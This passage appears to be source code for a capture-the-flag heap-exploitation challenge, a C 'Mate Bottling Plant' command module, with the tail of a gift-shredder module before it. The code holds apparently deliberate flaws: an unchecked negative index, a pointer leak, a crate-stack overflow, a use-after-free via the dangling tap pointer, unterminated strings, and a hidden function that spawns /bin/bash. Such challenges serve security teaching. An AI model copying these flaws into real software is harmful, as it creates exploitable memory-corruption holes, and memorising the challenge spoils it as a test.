n gifts per second", request_shredder); 277 | register_command("request_pallet", "\t", "Request a pallet on which n gifts can be stored", request_pallet); 278 | register_command("put", ", ", "Put a gift at position onto the pallet.", put_gift); 279 | register_command("shred", "\t\t\t", "Shred all the gifts", shred); 280 | 281 | module->name = name; 282 | module->info = info; 283 | 284 | srand(time(NULL)); 285 | } 286 | 287 | #endif 288 | -------------------------------------------------------------------------------- /mate2.c: -------------------------------------------------------------------------------- 1 | #ifndef _MYLIB_H_ 2 | #define _MYLIB_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "module.h" 13 | 14 | 15 | const char* name = "Mate Bottling Plant Control Center 2.0"; 16 | const char* info = "\n" 17 | " There were some minor problems with the previous version of the Mate Bottling Plant.\n" 18 | " We hired the world's best Mate specialists to improve usability, functionality and security!\n" 19 | "\n" 20 | " Type \"help\" for an overview of the provided functionality."; 21 | 22 | 23 | 24 | const char* truck = "\n" 25 | " ____________________ \n" 26 | " |\\ \\ l____ \n" 27 | " | \\___________________\\ |\\ \\ \n" 28 | " | | | |\\l___\\___ \n" 29 | " [__]_[ | |\\/| |[\\\\]| |__|_\\__\\ \n" 30 | " /\\[__]\\ | | | |\\[\\\\]\\|. | |===\\ \n" 31 | " \\ \\[__]\\[____________________] \\[__]|__|..___] \n" 32 | " \\/.-.\\_______________________\\/.-.\\____\\/.-.\\ \n" 33 | " ( @ ) ( @ ) = ( @ ) \n" 34 | " `-' `-' `-' \n" 35 | "\n"; 36 | 37 | const char* scooter = "\n" 38 | " (_\\ \n" 39 | " / \\ \n" 40 | " ______ `== / /\\=,_ \n" 41 | " | |\\/| |_ _ _;--==\\\\ \\\\o \n" 42 | " |_|__|_| /____//__/__\\ \n" 43 | " (0) (0) @=`(0) (0) \n" 44 | "\n"; 45 | 46 | const char* heli = "\n" 47 | "---------------+--------------- \n" 48 | " ___ /^^[___ _ \n" 49 | " /|^+----+ |#___________// \n" 50 | " ( -+ |____| ______-----+/ \n" 51 | " ==_________--' \\ \n" 52 | " ~_|___|__ \n" 53 | " | \n" 54 | " | \n" 55 | " | \n" 56 | " ___|___ \n" 57 | " | |\\/| | \n" 58 | " |_|__|_| \n" 59 | " \n" 60 | "\n"; 61 | 62 | const char* airplane = "\n" 63 | " __ _ \n" 64 | " \\ `/ | \n" 65 | " \\__`! \n" 66 | " / ,' `-.__________________ \n" 67 | " '-'\\_____ o`-. \n" 68 | " <____()-=O=O=O=O=O=[]====--) \n" 69 | " `.___ ,-----,_______...-' \n" 70 | " / .' \n" 71 | " / .' \n" 72 | " / .' | \n" 73 | " `-' | \n" 74 | " | \n" 75 | " ___|___ \n" 76 | " | |\\/| | \n" 77 | " |_|__|_| \n" 78 | " \n" 79 | "\n"; 80 | 81 | 82 | void ship_airplane() { 83 | printf("%s", airplane); 84 | } 85 | 86 | void ship_heli() { 87 | printf("%s", heli); 88 | } 89 | 90 | void ship_scooter() { 91 | printf("%s", scooter); 92 | } 93 | 94 | void ship_truck() { 95 | printf("%s", truck); 96 | } 97 | 98 | char mate_formula[2048]; 99 | 100 | 101 | typedef struct bottle { 102 | size_t size; 103 | char content[]; 104 | } bottle_t; 105 | 106 | typedef struct crate { 107 | size_t size; 108 | void (*shipping)(); 109 | bottle_t* bottles[]; 110 | } crate_t; 111 | 112 | crate_t* crate_stack[3]; 113 | int stack_height = 0; 114 | bottle_t* tap_pos = NULL; 115 | 116 | int stol(char* s, long* result) { 117 | char* endptr; 118 | long val; 119 | val = strtol(s, &endptr, 0); 120 | if ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0)) { 121 | return -1; 122 | } 123 | if (endptr == s) { 124 | return -1; 125 | } 126 | *result = val; 127 | return 0; 128 | } 129 | 130 | void show_mate_formula(int argc, char* argv[]) { 131 | printf("%s\n", mate_formula); 132 | } 133 | 134 | void new_mate_formula(int argc, char* argv[]) { 135 | if (argc < 2) { 136 | printf("Please specify the ingredients you want to use.\n"); 137 | return; 138 | } 139 | int offset = 0; 140 | for (int i = 1; i < argc; ++i) { 141 | int n = MIN(sizeof(mate_formula) - offset - 1, strlen(argv[i])); 142 | strncpy(mate_formula + offset, argv[i], n); 143 | offset += n; 144 | mate_formula[offset++] = ' '; 145 | } 146 | mate_formula[offset-1] = '\x00'; 147 | printf("Updated Mate formula.\n"); 148 | } 149 | 150 | void new_crate(int argc, char* argv[]) { 151 | if (stack_height >= 3) { 152 | printf("You cannot stack more than 3 Mate crates. Please ship them first.\n"); 153 | } 154 | if (argc < 3) { 155 | printf("Please specify the crate and bottle size. Crates of size 8, 12, or 16 are available.\n"); 156 | return; 157 | } 158 | long n; 159 | if (stol(argv[1], &n) != 0 || ( n != 8 && n != 12 && n != 16)) { 160 | printf("Only crates of size 8, 12, or 16 are available.\n"); 161 | return; 162 | } 163 | long m; 164 | if (stol(argv[2], &m) != 0 || m < 1 || m > 1024) { 165 | printf("Only bottles of size 1 to 1024 ml are available.\n"); 166 | return; 167 | } 168 | crate_t* crate = malloc(sizeof(crate_t) + n * sizeof(bottle_t*)); 169 | crate->size = n; 170 | for (int i = 0; i < n; ++i) { 171 | crate->bottles[i] = malloc(sizeof(bottle_t) + m * sizeof(char)); 172 | crate->bottles[i]->size = m; 173 | } 174 | 175 | int r = rand() % 4; 176 | switch(r) { 177 | case 0: 178 | crate->shipping = ship_airplane; 179 | break; 180 | case 1: 181 | crate->shipping = ship_scooter; 182 | break; 183 | case 2: 184 | crate->shipping = ship_heli; 185 | break; 186 | case 3: 187 | crate->shipping = ship_truck; 188 | break; 189 | } 190 | 191 | crate_stack[stack_height++] = crate; 192 | } 193 | 194 | void show_crate(int argc, char* argv[]) { 195 | printf("There are currently %d Mate crates on the stack.\n", stack_height); 196 | if (stack_height < 1) { 197 | return; 198 | } 199 | printf("This is the crate on top:\n\n"); 200 | 201 | crate_t* crate = crate_stack[stack_height - 1]; 202 | printf(" ---------------- \n"); 203 | for (int i = 0; i < crate->size; i += 4) { 204 | printf(" |"); 205 | for (int j = 0; j < 4; ++j) { 206 | bottle_t* b = crate->bottles[i+j]; 207 | if (strlen(b->content) > 0) { 208 | printf(" f |"); 209 | } else { 210 | printf(" e |"); 211 | } 212 | } 213 | printf("\n"); 214 | } 215 | printf(" --- --- --- --- \n"); 216 | } 217 | 218 | void tap_position(int argc, char* argv[]) { 219 | printf("The filling tap is at position %p.\n", tap_pos); 220 | } 221 | 222 | void move_tap(int argc, char* argv[]) { 223 | if (stack_height <= 0) { 224 | printf("There is no mate crate with bottles to be filled.\n"); 225 | return; 226 | } 227 | if (argc < 2) { 228 | printf("Where should the filling tap be moved?.\n"); 229 | return; 230 | } 231 | crate_t* crate = crate_stack[stack_height - 1]; 232 | long index; 233 | if (stol(argv[1], &index)) { 234 | printf("Invalid argument\n"); 235 | return; 236 | } 237 | if (index >= crate->size) { 238 | printf("There are only %ld bottles in the crate.\n", crate->size); 239 | return; 240 | } 241 | tap_pos = crate->bottles[index]; 242 | } 243 | 244 | void fill_bottle(int argc, char* argv[]) { 245 | if (!tap_pos) { 246 | printf("Move the tap to a bottle first.\n"); 247 | return; 248 | } 249 | if (argc < 2) { 250 | printf("Please specify the amount of mate in milliliters to be filled.\n"); 251 | return; 252 | } 253 | long amount; 254 | if (stol(argv[1], &amount)) { 255 | printf("Invalid argument\n"); 256 | return; 257 | } 258 | long ncopied = 0; 259 | if (amount > tap_pos->size) { 260 | printf("Bottle too small."); 261 | return; 262 | } 263 | while (ncopied < amount) { 264 | long n = MIN(strlen(mate_formula), amount - ncopied); 265 | strncpy(tap_pos->content + ncopied, mate_formula, n); 266 | ncopied += n; 267 | } 268 | //tap_pos->content[tap_pos->size - 1] = '\x00'; 269 | } 270 | 271 | void shut_down(int argc, char* argv[]) { 272 | printf("Shutting down Mate Bottling Plant...\n"); 273 | printf("Goodbye\n"); 274 | exit(EXIT_SUCCESS); 275 | } 276 | 277 | void inspect(int argc, char* argv[]) { 278 | if (!tap_pos) { 279 | printf("No bottle at filling tap position found.\n"); 280 | return; 281 | } 282 | char* top = "\n" 283 | " __________ \n" 284 | " |_-_-_-_-_-| \n" 285 | " |__________| \n" 286 | " )________( \n" 287 | " (__________) \n" 288 | " | | \n" 289 | " / \\ \n" 290 | " / \\ \n" 291 | " / Mate \\ \n" 292 | " / \\ \n" 293 | " / |\\/| \\ \n" 294 | " / | | \\ \n" 295 | " / \\ \n" 296 | " | | \n"; 297 | 298 | 299 | char* bottom = " \\______________________/ \n" 300 | "\n"; 301 | 302 | printf("%s", top); 303 | for (int i = 0; i < tap_pos->size; i += 20) { 304 | int n = printf(" | %.20s", (tap_pos->content + i)); 305 | printf("%*c| \n", 24 - n, ' '); 306 | 307 | } 308 | printf("%s", bottom); 309 | } 310 | 311 | void ship(int argc, char* argv[]) { 312 | for (int i = 0; i < stack_height; ++i) { 313 | crate_t* crate = crate_stack[i]; 314 | crate->shipping(); 315 | printf("\nShipped crate of size %ld\n\n", crate->size); 316 | for (int j = 0; j < crate->size; ++j) { 317 | free(crate->bottles[j]); 318 | } 319 | free(crate); 320 | crate_stack[i] = NULL; 321 | } 322 | stack_height = 0; 323 | } 324 | 325 | void spawn_shell(int argc, char* argv[]) { 326 | system("/bin/bash"); 327 | } 328 | 329 | void initialize_module(module_t* module, registration_function register_command) { 330 | 331 | module->name = name; 332 | module->info = info; 333 | 334 | register_command("formula", "\t\t", "Display the used Mate formula", show_mate_formula); 335 | register_command("new_formula", " ...", "Design a new Mate formula", new_mate_formula); 336 | register_command("new_crate", " ", "Put a new crate of size 8, 12 or 16 on top of the crate stack", new_crate); 337 | register_command("show_crate", "\t\t", "Display the crate on top of the crate stack", show_crate); 338 | register_command("tap_pos", "\t\t", "Show the current position of the filling tap", tap_position); 339 | register_command("move_tap", "\t", "Move the filling tap to the bottle at a specific index in the top crate", move_tap); 340 | register_command("fill", "\t\t", "Fill the bottle at the current filling tap position", fill_bottle); 341 | register_command("inspect", "\t\t", "Inspect the bottle at the current filling tap position.", inspect); 342 | register_command("ship", "\t\t\t", "Ship the current crate stack of Mate to ESPR", ship); 343 | register_command("exit", "\t\t\t", "Shut down the Mate Bottling Plant", shut_down); 344 | 345 | strcpy(mate_formula, "water mate_tea sugar_syrup citric_acid caffeine carbonic_acid "); 346 | 347 | srand(time(NULL)); 348 | return; 349 | } 350 | 351 | #endif 352 | --------------------------------------------------------------------------------